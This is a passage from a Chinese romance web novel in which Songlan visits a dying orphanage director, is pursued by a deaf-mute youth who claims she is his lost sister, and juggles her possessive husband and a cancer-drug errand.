他静了下来,抱着手机,仔细着短信上的每一个字。 当读到“回家”两个字的时候,他的嘴角高高翘起,心里像吃了蜜一样甜。 沈错指尖连点,立刻回复道: 【好的老婆,我乖乖在家等你。】 看到沈错的回信,菘蓝忍不住翻了个白眼。 这人干嘛非要黏着她。 趁她不在家,出去跟自己的心上人快活不行吗? 下午四点。 菘蓝的车下了高速,缓缓驶进了一个偏僻落后的小镇。 许生害怕继续跟踪会被发现,他没有选择下高速,而是绕了一段距离,停在了最近的服务区。 菘蓝的车子一路穿街过巷,最终停在了一个老旧的庭院前。 庭院上方的门牌写着五个大字——蓝天孤儿院。 菘蓝下了车,抬手推开厚重的铁门,熟门熟路地走了进去。 “小蓝姐姐!小蓝姐姐回来了!” 孤儿院的孩子们看到菘蓝立马围了过去。 菘蓝挨个摸了摸她们的小脑袋,然后拿出准备好的糖果和点心,让孤儿院的护工帮忙分给孩子们。 趁着孩子们吃点心的功夫,菘蓝去见了孤儿院的老院长。 老院长静静躺在病床上,右手吊着点滴,他苍老的眸子像蒙了一层雾的玻璃弹珠,透着几分死寂和哀绝。 看到菘蓝进来后,老院长激动地咳嗽了几声: “咳咳.....小蓝,你怎么回来了? 是她们给你打电话了?哎呀,我都叮嘱她们,让她们不要告诉你了。” 看着一脸病容的老院长,菘蓝心头一酸,哽咽道: “你为什么不让人告诉我.....” 老院长慢慢坐起身子,摆了摆手: “哎呀,我又没什么大事,就是老了,身体不好了。” 听闻,菘蓝垂着眉眼,抿了抿唇:“爷爷,您不用瞒了,我都知道了。” 园里已经有人告诉她了。 老院长得了肝癌,是晚期。 菘蓝:“爷爷,我知道一种特效药,治疗肝癌很管用,您好好休养就行了,特效药的费用我来解决。” 老院长知道菘蓝说的那种特效药剂。 那种特效药剂针对肝癌确实很有用,但是一针50万。 老院长沉默了一会,然后缓缓开口道: “小蓝,这些年,你已经帮助我们很多了,你不应该被我们拖累,你要有自己的生活。” 蓝天孤儿院是一所民办孤儿院,领养条件极其苛刻,所以资金一直比较紧张。 对于想要领养孤儿的人家,老院长不仅要考察他们的经济条件,还要考察他们是否具有为人父母的能力。 因为条件苛刻,很少能有人成功领养蓝天孤儿院的孩子。 孤儿们一直养在孤儿院,也加重了老院长的负担。 如果不是菘蓝一直赚钱补贴,蓝天孤儿院早就闭园了。 屋内静悄悄的,阳光透过窗户照进来,两人周身金尘飞舞。 菘蓝看向老院长,轻咬了一下唇道: “爷爷,我已经订购了一批特效药剂,明天应该就能送到,您,要好好的活着。” 听闻,老院长赫然抬头,惊讶地看着菘蓝: “你.....你.....你这孩子.....” 老院长急了,很罕见地冲菘蓝发火: “你糊涂啊!我已经这么大年纪了,也没有几年活头了,你在我身上花什么钱!你快把那药退了!我不需要!” 菘蓝拧着眉,执拗道:“不!爷爷,我有钱,我能救你!” 老院长心头一暖,差点哭出来,但他却板着脸,提着嗓门,大声呵斥道: “谁是你爷爷!我可没你这个孙女,我也不要你的钱!” 老院长的话在病房里久久回荡。 菘蓝却咬着唇,轻轻道:“没关系,你不认我这个孙女,我认你这个爷爷。” 老院长皱着眉头,还想说些什么,可他再次看向菘蓝的时候,突然顿住了。 菘蓝哭了,她紧紧咬着唇,大颗大颗的泪珠从脸庞滑落,眼神倔强又固执。 恍惚中。 老院长似乎又看到了当年那个又拧巴又犟种的小女孩,跟人打架嘴都咬出血来也绝不松口。 “唉.....” 老院长心头一酸,连忙放缓了声音,用哄小朋友的语调哄劝道: “哎呀,小蓝,乖孩子,不哭不哭,爷爷错了,爷爷不该这样跟你说话,爷爷都听你的。” 老院长一哄,菘蓝眼圈又红了,像个孩子一样吸着鼻子,哽咽得说不出话。 看完老院长后,菘蓝走出病房,坐在走廊的椅子上发呆。 徐家的委托,还得继续。 她需要钱。 病房里,老院长坐在病床上抹眼泪,他手里拿着老花镜,哭得泣不成声。 他一边哭一边自言自语道: “小蓝是个很好很好的孩子,可我对不起她,我这一生最后悔的事,就是当初让那户人家领养了她.....” 门外。 听到这句话的菘蓝像是回想起了什么,脸色瞬间苍白,身体不可遏制地颤动了起来。 第四十七章 你不要装了 “小畜生一点都不知道感恩,还敢举报,把她吊起来打!” “你养母已经把你卖了,你现在是我老胡家的童养媳了。” “姐姐你走,走的远远的.....我不想看你哭.....” 支离破碎的回忆像潮水一样涌进菘蓝的大脑,在她的耳畔疯狂叫嚣。 一阵恶寒自脚底升起,像电流般扩散到四肢百骸。 脸色苍白的菘蓝后背抵在墙上,紧紧抱着发颤的手臂,她像是被拉进了一道时光裂缝,眼神飘忽混沌。 短短数十秒,她在记忆的废墟里走了一遭,身体被伤得鲜血淋漓。 冷...... 好冷...... 菘蓝攥着手,修长的指尖深深陷入掌心。 过了一会,她幽深的眼眸逐渐涣散,最后变成麻木的虚无。 她眼神放空,步伐机械地朝着门口走去。 孤儿院里的孩子看到她,兴冲冲地朝着她打招呼,喊道:“小蓝姐姐!” 然而菘蓝就好像没听见,面无表情地继续往前走。 “小蓝姐姐......” 孩子们看着菘蓝,稚嫩的小脸上写满了担忧。 一个年龄大一点的孩子道:“小蓝姐姐又发病了,我们不要去打扰她。” 孩子们都乖乖让开,目送着菘蓝离去。 孤儿院里静悄悄的,阳光轻柔地洒在菘蓝身上,她在花坛旁坐下,双眼放空地看着面前的花花草草。 现在是冬季,很多植物已经枯萎。 菘蓝注意到花坛裂了一角,皲裂的石缝中长了一丛灰扑扑的杂草。 杂草的叶子长而宽,呈圆形往四周扩散。 杂草被人踩过,一半被人踩进土里,茎叶折断,匍匐在地上,露出半截笔直的浅黄色的根。 菘蓝的看向杂草裸露的根部。 她认得这种植物。 这种植物很好养活,生命力很顽强,不挑土壤也不挑肥料,沾土就能活,野外遍地都是。 不管被风雪摧残成什么样,第二年的春天都会准时开出金黄色的小花。 它也是一味药材,清热解毒,消炎退热。 它还有一个很好听的名字,叫做菘蓝。 阳光照进石缝,菘蓝举着灰扑扑的茎叶拥抱着阳光,周身金尘飞舞。 大地微弱生灵,刚毅朝向天际。 菘蓝静静看着石缝中的“杂草”,涣散的瞳仁逐渐聚起微光。 是啊,四季在变换,世界在不停运转,时间也在飞速流逝。 她也不是以前的那个她,她是一个向外延伸的螺旋,永远也不会再回到原点。 过去的事情早就过去了,现在没有人能够伤害到她。 思绪终于回笼,菘蓝抬起头,看了一眼天色。 天边燃烧着红云,一片绯色。 菘蓝心一惊,她居然从中午一直坐到了傍晚? 最关键的是,她并没有感觉到时间的流逝,甚至都记不起自己在这段时间做了什么,思考了什么。 就在菘蓝愣神的时候,一个小女孩走过来扯了扯她的裙摆,用手比划道: 【小蓝姐姐,护工姨姨喊吃饭。】 小女孩是个聋哑人,只能用简单的手语交流。 菘蓝捏了捏她的小脸,伸出食指往嘴边拨动了两下。 【好,去吃饭。】 孤儿院里也收养了很多残障儿童,他们被领养的可能性比正常孤儿更低。 菘蓝暗暗攥紧了手心,她得更加努力才行。 孤儿院的护工阿姨是个好心人,在院里做了十多年的义工,人长得很漂亮,也烧得一手好菜。 吃饭的时候,她不停地给菘蓝夹菜,笑眯眯道: “你太瘦了,外面工作辛苦,多吃点。” 阿姨烧菜的手艺一流,菘蓝足足吃了三大碗饭。 她已经很多年没有吃到孤儿院的饭菜了。 她在外面吃遍了山珍海味,但还是觉得这里的饭菜最好吃。 吃完饭,菘蓝给了护工阿姨一张卡: “快过年了,你给自己和大家置办一些年货。” 护工阿姨摆了摆手,将卡推了回去,菘蓝又强硬地塞到她口袋里: “拿着,我还有很多。” 几番推却后,护工阿姨收下了卡,她拉起菘蓝的手,比划了一个十字。 “主会保佑你的,善良又真诚的孩子。” 菘蓝摇了摇头,看向院子里嬉戏打闹的孩子,语气淡淡道: “照顾家人是应该的,跟善良没有关系,我也不觉得自己是个善良的人。” 说完,菘蓝转身离开了孤儿院。 她不能在外面待太长时间。 如果沈错发现她没在徐家,而是在外面乱跑,会很麻烦。 出了孤儿院的门,就是一条甬长的小巷,她的车子停在巷口。 菘蓝戴着墨镜,披着围巾,双手插在衣兜里,朝外走去。 突然,巷子的院墙上跳下来一个少年。 少年额前的碎发随风摆动,他的眼眸如夜空中的星星般明亮。 菘蓝吓了一跳,后退了两步,愕然地看着许生。 一年不见,许生的个头又窜高了,他现在已经比菘蓝高了半个身子。 菘蓝的头顶只能到他的下巴。 少年站在夕阳里,身影被拉得老长,他眼底闪烁着欣喜,左手中指直立,飞速点了一下下巴,又捏了一下耳垂。 【姐姐。】 菘蓝脸色一沉,挑着眉眼凶道: “我招你惹你了?干嘛阴魂不散的缠着我?” 吼完,她便转身,朝着巷子的另一头走去。 许生见状,连忙拽住菘蓝,双手撑着墙壁,将她圈了起来。 紧接着,他打开手机,飞速打了一行字,然后拿到菘蓝面前。 手机屏幕上写着: 【姐姐,不装,你懂看的。】 聋哑人无法感知到语气,他们的语序和普通人不太一样,有种笨拙的生硬感。 菘蓝拧着眉毛,看了许生一眼,然后也用手机打了一行字: 【说了不认识你,不要再跟着我了,否则我报警。】 许生静静看了菘蓝一眼,然后举起手机,指尖滑到相册,播放了一段视频录像。 录像里,菘蓝正在孤儿院用手语跟其他人交流。 菘蓝瞳孔狠狠一震,视频什么时候拍的? 他居然跟到孤儿院了? 许生凝望着菘蓝的眸子,缓缓比划道: 【姐姐,你懂手语,装不懂我,你故意。】 第四十八章 哑巴的爱意震耳欲聋 菘蓝垂着眉眼,遮住眼底的慌乱。 片刻后,她抬起波澜不惊的眸子,看着许生道: “我确实会手语,但跟你有什么关系?我不想搭理陌生人不行吗?” 这点证据根本说明不了什么,只要她死不承认,许生也拿她没办法的。 她仰着头,直视许生的眼睛,警告他道: “别缠着我了,我不是你姐姐,我再跟你说一遍,你认错人了。 世界上容貌相似的人有很多,你不要乱认姐姐。” 许生愣了愣,可爱的狗狗眼忧伤地垂着,看着有些无辜。 他静静看着菘蓝,执拗地摇了摇头,然后抓起她的手,按在了自己心口。 “砰砰砰.....” 他的心脏在强有力的跳动。 律动的节奏越来越快,越来越响。 世界仿佛被按了静音,整个小巷都回荡着澎湃的心跳声。 “砰砰....砰砰....砰砰砰.....” 感受到少年汹涌澎湃的心跳,菘蓝的手像是被烫到了一样,想要缩回手,结果却被强硬地按住了手背。 许生凝望着菘蓝,喉结轻滚了两下,单手比划道: 【姐姐,我的心脏会跳动,只因你。】 小哑巴不会说话,但是他的爱意震耳欲聋。 紧接着,许生微笑着伸出左手的拇指。 随后,他右手横立,掌心向内,五指微曲,置于左手前,然后双手同时向下一顿。 他说。 【姐姐,我爱你。】 他的眼神炽热滚烫,表情温柔坚定。 菘蓝被他纯粹的目光烫了一下,心底的某处坚冰微微化开,生出涓涓细流。 但她很快崩起小脸,面无表情地拿出手机,当着许生的面拨打了110: “喂?是织锦区警察局吗?有人骚扰我,我在......” 她的语气极冷极硬。 许生嘴角的笑意一下子僵在了脸上。 他怔愣地看着菘蓝,单纯的眸子写满了无措和不解。 “我说了不认识你,不要再骚扰我了,你再不走,警察就要过来了。” 菘蓝扬着手机,眼神冰冷地看着许生,语气中带着浓浓的警告。 说完,她推开许生,踩着高跟鞋,转身离去。 许生张了张嘴,刚想要追上去,结果菘蓝突然转身,板着小脸呵斥道: “不滚再跟着我!” 他脚步瞬间顿住,不敢再跟过去。 他低垂着头,神情落寞,像一只被人丢弃的小狗,委顿地靠在墙边。 她明明就是他的姐姐。 她却不认他。 他怎么可能会把姐姐跟其他人弄错。 他啊,只有靠近姐姐的时候,心脏才会跳得如此剧烈。 菘蓝用眼角余光悄悄往后看,少年真的没有再追上来,像雕塑一样倚着墙壁。 夕阳在他脚下投出一片落寞的阴影。 菘蓝在心底轻轻叹了口气,然后上了车。 坐上车后,她闭着眼睛。 脑海浮现中出许生向她表白的那一幕。 是很美好的一幕,可惜时间不对,地点不对,过程不对,结果也不对..... 她疲惫地揉了揉太阳穴,闭上眼睛后,没一会就睡着了。 这一觉,她睡得很沉,一个梦都没有做。 等她睁开眼睛的时候,天上的月亮已经变成了一个淡白色的小点,东边的天空泛着晨光。 菘蓝看了眼天色,暗道不妙。 天啊,她从昨天下午一直睡到了凌晨? 菘蓝慌忙看了眼手机。 现在是凌晨四点。 她的通讯记录被未接来电挤爆了。 沈错昨晚给她打了几十个电话,发了几百条短信,但是她昨天早上把手机调成了静音,所以一个都没接到。 看着满屏的红色号码,菘蓝的脑袋隐隐作痛。 完了,那狗男人一直联系不上她,也不知道会干出什么事。 菘蓝攥着手机,稳了稳心神,连忙给沈错回拨了一个电话。 “嘟嘟嘟......” 电话响了很久都没有人接听。 菘蓝在心里安慰自己,现在已经凌晨四点了,他应该已经睡了吧。 早上六点,天光大亮。 一缕朝霞在天边蔓延,朝霞下方延伸出万道金闪闪的光,阳光与朝霞纵横交织,在天空中铺开一张光华灿烂的网。 清晨,路上还没什么人,车子一路飞奔,驶向了城北徐家。 徐家静悄悄的,保安看到菘蓝回来了,连忙把人迎了进来,他想跟她说什么,但犹豫了几秒后,最终什么也没说。 菘蓝没有察觉到保安的神色变化,裹着风衣就往厅堂里走。 她走了两步,看到厅堂的灯已经亮了,想着徐念青还起得挺早,便准备去打个招呼。 结果她刚推开大厅的门,瞬间愣住了。 厅堂冷飕飕的,没开地暖,正中间的椅子上坐着一个人。 那人穿着黑色毛呢大衣,斜斜地靠在椅背上,左手夹着一只烟,右脚翘起搭在桌子上。 姿态张扬肆意。 听到门口的脚步声,沈错缓缓抬眸,眼底微光浮动。 他狭长的眸子闪了闪,摁灭手中的烟灰,冲着菘蓝露出一个极淡的笑容: “哟,回来了?” 菘蓝是真没想到沈错居然会来徐家。 沈错跟沈夫人的关系并不好,跟徐念青这个舅舅也不亲近,两家虽然住在一个城市,却极少走动。 顶着某人冷飕飕的目光,菘蓝扯了扯唇角,神色如常地应了一声: “啊....是啊,回来了.....” 沈错点了点头,身子往后靠了靠,他双手交叠,用沉冷的目光审视着菘蓝,语气淡淡道: “去哪了?” 菘蓝没回话,轻轻咳了两声,左右看了看,问道:“爸呢?” 她急需徐念青帮她解围。 沈错冷冷看了菘蓝一眼,阴阳怪气道: “舅舅不是病了吗?他现在应该躺在床上,等你照顾才对啊。” “哦,那我去看看爸。” 菘蓝低着头,把话一撂,飞快地往外走。 沈错看到她转身就走,肺都要气炸了。 她跑到外面玩,夜不归宿,现在被他抓包了,没有一点悔意,连个解释都没有? 他蹭地一声站起身,攥住菘蓝的手腕,把她往怀里一拉,钳着她的下巴,阴恻恻道: “夫人,你是不是应该给我一个解释?” 第四十九章 兄弟修罗场 昨天一整天,菘蓝都没回沈错的信息,晚上又在车里睡着了,错过了无数个电话。 沈错直接杀到徐家,徐念青装病不敢见他,他就在大厅里坐了一整夜。 他偏头看着菘蓝,往日含情带笑的眸子凝了一层冷光。 “老婆,你昨晚没在家,是去哪了~” 他拖长着尾音,语气很像撒娇,但细细一听,末尾几个字又带着阴鸷和冷厉。 沈错有些后悔。 他就不应该妥协,不应该给某个不安分的家伙自由。 他就应该派人二十四小时跟着她,掌控她的所有动向。 菘蓝小脸煞白,紧紧抿着唇,大脑飞速运转,想着该怎么把事情搪塞过去。 见菘蓝半天不说话,沈错挑起她的下巴,逼着她不得不跟他对视。 “蓝儿,你在想该怎么骗我,对不对?” 他语气很硬,黑眸里翻涌的冷意让菘蓝有点害怕。 沈错很少在菘蓝面前表现得很强势,很有攻击性。 他以前害怕吓到他的小新娘,一直收起爪牙,伪装成一只笑眯眯的大尾巴狼。 可是现在他觉得。 他的小新娘胆子大得很。 “我骗你什么,我还什么都没说呢!” 菘蓝别开脸,伸手打掉沈错的爪子,态度很是嚣张。 不过她只是表面上强势,心里其实虚的很。 她确实在想该怎么骗他。 厅堂里,两人横眉冷对,室内的温度比外面冷了好几度。 冷冽的穿堂风呼呼地刮,像冷刀子一样拍在人脸上,菘蓝没忍住打了个喷嚏,莹润的双眸泛起水雾,看上去像哭了一样。 沈错往前站了站,替她挡住了身后的寒风。 风卷起他大衣的一角,然后转了个弯,掉头离开。 沈错喉结轻滚了两下,直接问道:“你昨晚去找了周正安?” “哈?” 菘蓝睁着眼睛,嘴巴微张,用一种你脑子是不是秀逗了的眼神看着沈错。 不是,这有周正安什么事? 屋外的风莫名停了,菘蓝看傻逼一样的眼神,让沈错突然有点开心。 沈错:“你真没去找他?” 菘蓝不可理喻地看了眼沈错,吼道:“我找他干嘛!” 沈错不说话了,眼神突然温柔了下来,伸手捏了捏菘蓝的小脸: “嗯,好的,我知道了,没事了。” 菘蓝很无语。 这都什么跟什么啊。 但她细细一想,后背顿时惊出一身冷汗。 沈错为什么会问她是不是去找周正安了? 难道.....他知道了什么? 虽然很疑惑,但她并没有追问,多一事不如少一事。 有些事情问清楚了反而有麻烦。 大家都揣着明白装糊涂也挺好。 “咳咳.....咳咳咳......” 两人身后响起一阵咳嗽声。 菘蓝回头一看,看到了一脸病容的徐念青,他好像真的病了,脸色憔悴,眼皮乌青。 徐念青听说菘蓝回来了,害怕她应付不了沈错,连忙赶了过来。 “哎呀,爸,你怎么出来了,医生不是让你别吹风吗!” 菘蓝走到徐念青身边,伸手去搀扶他。 徐念青给菘蓝使了个眼色:“蓝儿啊,你昨晚见着周伯伯了吗?他病得重不重啊?” 菘蓝立马会意,回道:“周伯伯没什么大碍,跟你一样得了流感,没有传言那么严重,修养几天就好了。” 两人一唱一和,一起糊弄沈错。 看到徐念青,沈错想了想,犹豫了一下,跟着喊了一声:“爸。” 徐念青轻轻看了沈错一眼,眼底透着一种淡淡厌恶和反感,他面无表情道: “你还是喊我表舅吧。” 沈错假装看不出来被嫌弃,笑眯眯道:“表舅多生分啊,我直接喊舅舅吧。 舅舅,我看您身体好像也还行,那我就把蓝儿带回家了,免得她在外面让我牵肠挂肚的。” “咳咳咳!” 徐念青着急地咳嗽了两声,咳得脸都红了。 菘蓝狠狠瞪了沈错一眼,“要回去你自己回去,我要多陪陪我爸。” 开什么玩笑,许夫人还在沈园,她才不要回去呢。 看到菘蓝态度坚决,沈错想了想道:“好吧,那我.....也不回去了。” 菘蓝:“........” 徐念青咳嗽的更厉害了。 他一边咳嗽一边疯狂给菘蓝递眼神。 这小子要是不回去,他难道要天天装病? 菘蓝扶了扶额头,无奈地叹了口气,她转身看向沈错,放软了声音,哄劝道: “你不能不回去呀,干妈他们还在沈园呢,人家好不容易来一趟,你怎么能晾着人家。” 沈错捏着下巴想了想,点了点头道: “嗯,也对,那我把干妈和许生也喊过来,正好大家聚一聚。” 菘蓝:“!” 聚你个头啊! 许夫人跟沈错的母亲是闺蜜,自然也认识徐念青。 “咳咳.....” 徐念青很合时宜地咳嗽了两声。 菘蓝立马会意,她白了沈错一眼:“神经病,你是不是缺心眼啊?我爸还病着呢,聚什么聚啊?” 被骂神经病缺心眼,沈错也不恼,他笑了两声,伸手捏了捏菘蓝的小脸: “我逗你玩呢。” 最终,沈错没留在徐家,但他要求菘蓝明晚陪他跨年。 明天是今年的最后一天。 为了赶紧把沈错弄走,菘蓝只好答应。 ** 沈错回到沈园,正好在门口碰到了许生。 许生垂着眼睑,像是一夜没睡,肩头还染着白霜,看着有点消沉。 “哟,这是到哪疯玩了一夜?干妈昨天一整天没找到你,给你打电话也不回,给她气得去奉安了。” 沈错看着他有些失落的样子,便笑着调侃了两句。 他们兄弟感情一直不错。 许生沉浸在懊悔的情绪里,低垂着头,像只丧家犬。 他很后悔昨天没再跟上去。 海都这么大,他以后想找姐姐都难。 “哦对了,干妈去了奉安,明晚跨年,你跟我一起吃饭吧,明晚带你见见你嫂子。” 沈错伸手拍了拍他的肩。 许生双眼无神,敷衍地点了点头。 第二天晚上。 沈错的车准时停在了徐家门口。 菘蓝穿了一身红裙,头发披散而下,她略微化了一点妆,就已经美得让人移不开眼。 “真美,不愧是我老婆。” 沈错笑吟吟地看着菘蓝,揽着她的腰道: “我们先去吃饭,吃完饭再去看个电影。” 菘蓝淡淡应了一声:“嗯。” 沈错:“对了,今晚还有一个人也跟我们一起吃饭。” 菘蓝有些意外,她以为今天沈错要跟她过二人世界,没想到还有其他人,便好奇道: “是谁?” 第五十章 不是姐姐是嫂子 “你见了就知道了。” 沈错故意买了个关子。 十几分钟后,车子缓缓停下。 菘蓝提着裙摆下了车,她一抬头,就看到前方的银杏树下站着一个少年。 少年看到她也很意外,错愕地看着她从沈错的车上下来。 他歪着脑袋,像被施了定身术一样,连呼吸都忘了。 看到许生,菘蓝提着裙摆的手骤然缩紧。 要命了...... “他是我弟弟。” 沈错揽着菘蓝的腰,在她耳畔压低了声音道: “我弟弟有听力障碍,不会说话,他一个人在家可怜,我就把他带来了,不过他跟我们吃完饭就走,不会打扰我们。” 菘蓝眸光颤了颤,内心开始祈祷。 希望等会不要变成兄弟修罗场...... 许生紧紧盯着菘蓝,生怕她跑掉一样,快步走到她面前,欣喜地比划着手势: 【姐姐。】 他昨天还在懊悔没有死乞白赖地跟着姐姐,害怕再也见不到了。 谁知道今天又见到了。 “不是姐姐,你要喊她嫂子。” 沈错打断了许生,揽着菘蓝的腰往怀里一带,笑得春风得意: “怎么样,你嫂子漂亮吧?” 听闻,许生愣了愣,比划着手势的双手定格在空中,像生锈卡壳的齿轮一样,一动不动。 他怔怔地看着菘蓝,无辜的眼睛眨啊眨,疑惑地看着菘蓝。 嫂.....子? 菘蓝嘴角扯出一抹笑容,假装第一次见到许生,冲着他道: “你好呀,弟弟。” 这个时候,就算天上下刀子,她只能装作不认识许生。 她疏离的假笑烫得许生眉头紧皱。 许生怔愣地看着菘蓝,垮着肩,手部没有任何动作。 看着看着,他的眼眶红了,长而弯的睫毛低低垂着,眼底翻涌着各种复杂的情绪。 欣喜、疑惑、不甘、委屈、愤懑,种种情绪齐齐涌上心头。 把他的心脏搅成了一团肉泥。 看到菘蓝向许生问好,结果他没什么反应,沈错顿时有些不悦,提醒道: “你嫂子跟你打招呼呢?应个声啊。” 许生红着眼睛,死死盯着菘蓝,他好像没听见一样,没有动作也没有回应,像一根钉子一样定在原地。 他不明白。 他的未婚妻,怎么成了他嫂子? 菘蓝轻轻拍了拍沈错的手背,温柔道:“没事,弟弟耳朵不好,可能没听见。” 这种亲昵的小动作让沈错很受用,他心情很好地翘着嘴角: “行吧,那我们先进酒店吃饭吧。” 酒店被包场了,很空旷很安静。 灯光斑驳,餐具碰撞,舒缓的音乐在大厅里回荡。 沈错和菘蓝坐在一边,许生坐在对面。 桌子上摆满了美味佳肴。 这一顿饭,许生吃得心不在焉,菘蓝吃得心惊胆战。 她害怕许生突然站起来,拽着她的胳膊,要带她走。 沈错倒是吃得挺开心,一会给菘蓝剥虾,一会帮她切牛排,把服务员的活都抢了。 他很喜欢投喂菘蓝,喜欢看她慢条斯理地吃自己投喂的东西。 菘蓝也没拒绝,小口小口地吃着。 两人像一对很恩爱的夫妻。 许生一直低着头,眉眼沉沉,不知道在想什么。 没人注意到,他手里的叉子已经被捏得变了形。 吃完饭。 菘蓝去了趟洗手间补妆。 菘蓝眉眼极美,皮肤也很白,就算素颜也很好看。 但她的唇色有些发白,今天又穿了条红色的裙子,如果不补一下口红,会显得很没气色。 她对着镜子拿出口红,温柔的豆沙色在丰盈的唇瓣上铺开,带着一股玫瑰花的香味。 菘蓝轻轻抿了抿唇,让口红的颜色更加均匀。 补完口红,她抬手理了理头发,踩着高跟鞋离开了洗手间。 酒店的走廊烛光点点,柔和的暖光与淡淡的玫瑰香交缠在一起,杂糅出隐晦的暧昧。 走到转角,对面突然插进一个人影,菘蓝猝不及防跟人撞到了一起。 “啊.....” 一声轻呼从嫣红的唇中溢出,泛着动听的尾音。 “啊,对不起!” 菘蓝下意识道歉。 结果她一抬头,看到了一双澄澈的眼。 斑驳的光影中,许生盯着菘蓝的脸,他的眼神逐渐变得幽深,像漆黑的漩涡,仿佛要把人吸进去。 看到是他,菘蓝睫毛颤了颤,连忙别开脸,转身离开。 许生的目光一直锁定着菘蓝的背影,眼神贪婪而专注。 仿佛她是他的整个世界。 片刻,他松开手,掌心里多了一个造型别致的口红。 沈错看到菘蓝回来,注意到她重新补了妆,嘴角微微上扬,朝她伸出手: “走,带你去看电影。” 菘蓝迟疑地看了眼身后:“你弟弟也去了洗手间,我们不等他吗?” 沈错眉眼含笑:“不用,我就喊他过来吃个饭,他吃完就回家。” 去电影院的路上,菘蓝的手伸进包包里,发出一声轻咦。 “咦?” 沈错:“怎么了?” 菘蓝:“额,没什么,我口红好像丢了,可能是刚刚落在酒店了。” 沈错下意识看向她嫣红的唇,问道:“什么牌子什么色号,我让人给你送买新的送来。” “哎呀,太麻烦了,不用了。” 菘蓝嘟着嘴,饱满红润的唇瓣,泛着淡淡的玫瑰香。 看就很好亲。 沈错眸色暗了暗,凑到菘蓝耳畔轻声道:“老婆,我可以亲你吗?” 菘蓝嫌弃脸:“不要!口红会掉。” 沈错:“没事,我马上让人给你送新的。” ......... 沈园,客居别苑。 许生侧躺在床上,他左手枕在脑后,右手拿着一支口红。 口红的样式很别致,隐隐散发着一股玫瑰的甜香,他反复挑开口红的磁吸盖,发出啪嗒啪嗒的响声。 玩了一会后,他从随身行李箱里拿出一个小盒子。 盒子里有很多乱七八糟的小东西。 梳子,发夹,头绳,润唇膏,耳环,粉色指甲刀...... 这些,都是他偷偷收集起来的小秘密。 紧接着,他把这些小东西和口红放进密封袋,然后去了一趟DNA鉴定中心。 到时候铁证如山,他要看她还能怎么狡辩。 第五十一章 又见周正安 海都的夜景很美,灯火霓虹,五光十色。 车上,菘蓝倚在靠背上看夜景,她的长发被风吹起,轻轻扫在沈错的脸上。 沈错伸手捉住一缕,轻轻嗅了一下,有一股淡淡的山茶香。 发丝从手中滑落,虎口微微感到一丝痒意。 沈错屈起大拇指,剐蹭了一下虎口,却怎么也止不住心头的痒意。 很快,车子到了徐家门口。 菘蓝起身要下车,沈错目光微闪,手肘抵在车门上,指了指自己的嘴唇: “车门上了锁,需要亲亲才能解开哦。” 他嘴角高高扬起,笑得很无赖。 菘蓝:“.........” 菘蓝冷着脸:“不要!” 沈错:“要!” 菘蓝:“给你一巴掌你要不要?” 沈错:“也要!” 沈错的目光在菘蓝丰盈的红唇上流连。 他知道,那里吻起来温温热热,软软甜甜,上头又上瘾。 他还知道,她今天的口红是玫瑰味的。 菘蓝提着裙摆,侧眼看着沈错,眸光忽闪。 她跟沈错之前的那些亲密接触,不过是迫于形势的做戏,不得已而为之。 现在没有舞台,也没有观众,她也不需要表演。 “走了,再见。” 菘蓝面无表情地拎起裙子,转身要从车子的另一边下去。 “诶,等等!” 沈错一把拽住菘蓝,笑意吟吟地看着她:“先别走,再等一秒钟。” 菘蓝微微蹙眉:“等什么?” 她话音刚落,耳畔突然响起一阵轰鸣的爆裂声。 烟花在她眼中绽放,整个夜空瞬间亮如白昼。 盛大灿烂的花火在空中组成了一句,“老婆,新年快乐”。 看着漫天的烟花,菘蓝才想起,明天是元旦,今晚是跨年。 她的瞳孔倒映着烟花,他的瞳孔里倒映着她。 沈错趁菘蓝正看着夜空发呆,突然捏着她的下巴,冲着她诱人的红唇吻了下去。 一吻即分,浅尝辄止。 “老婆,新年快乐,以后天天都快乐。” 沈错唇角高高扬起,深情的眼眸星光点点,闪烁着最纯粹的祈愿。 菘蓝愣怔了一下,然后回道: “嗯,新年快乐。” 蓦然,菘蓝感觉肩头一暖。 她垂眸一看,看到沈错把他的外套披在了她身上。 沈错帮她打开车门,“快进屋吧,外面没暖气,会冷。” 菘蓝披着外套进了徐家,她刚回到房间,手机就响了。 电话是孤儿院的护工阿姨打来的。 护工阿姨:“小蓝啊,你给老院长预定的那批特效药被取消了。” 菘蓝听闻,心头一惊,连忙追问道:“怎么回事?我已经付了定金啊。” 护工阿姨叹了口气:“不是钱的问题,是没药了!我问了医药公司,说新的药剂得五月份才能生产出来。” 菘蓝的心顿时凉了半截。 得等到五月份?院长爷爷怎么可能熬得住。 护工阿姨:“不过啊,小蓝,我又托人打听到一个消息。 海都一家新开的医药公司也有同类型的特效药,但刚上市没多久,不知道效果怎么样。” 菘蓝听闻立马道:“名字,告诉我那家医药公司的名字。” 护工阿姨:“那家医院叫海都科仁医药集团股份公司。” 随后,菘蓝立马上网查了一下。 科仁是海都新开的医药公司,但公司的研发团队班底很深厚。 菘蓝把信息拉到最后,目光猛地一顿,她在公司实际控制人那一栏,看到了一个熟悉的名字。 周正安。 菘蓝攥着手机,想了又想,最后找出一个手机卡,插进手机,拨通了电话。 周正安没有想到会接到菘蓝的电话。 这些日子,他都在忙着铺开海都的生意。 他在海都投资了很多公司,信息技术、医疗、地产、新能源、人工智能...... 整天出席各种会场,忙得脚不沾地。 他想要摆脱青州叶家的牵制,在海都开创自己的地盘。 他深知,只有掌握绝对的实力,才能粉碎一切枷锁,才能做他想做的事,娶他想娶的人。 “你.....你说什么?你想订购钇-190微球特效药剂?” 周正安紧紧握着手机,呼吸急促地颤抖了起来。 如果他没记错,钇-190微球特效药剂是用来治疗肝癌的。 “你.....你生病了?” 周正安唰地从老板椅上站了起来,心脏砰砰直跳,紧张的声音都在抖。 菘蓝抿了抿唇道: “额,表叔,你误会了。 我父亲的一个朋友患了病,需要钇-190微球特效药剂治疗,他听说这药剂是你公司新研发的,托我了解了解情况......” 听完,周正安的心瞬间回落到了肚子里。 他攥着手机,平复了一下情绪,然后报了一个地址。 “你来找我,我带你去科仁看看,那里有这款药物的临床实验的资料。” 毕竟是新研发的药物,多了解了解情况总没错。 菘蓝这样想着,便答应了。 “好的,表叔,那我们明天上午见。” 听到这句话,周正安沉默了一下,他拿起手机,缓缓道:“你.....不要喊我表叔,你可以喊我正安。” 菘蓝没有接话茬,只是疏离道:“明天见。” 打完电话,菘蓝揉了揉微微泛酸的太阳穴。 要不是没得办法,她是不会去找周正安的。 但为了院长爷爷,她只能豁出去了。 不过周正安人很好,也很有分寸,应该也不会乱提不该提的事情。 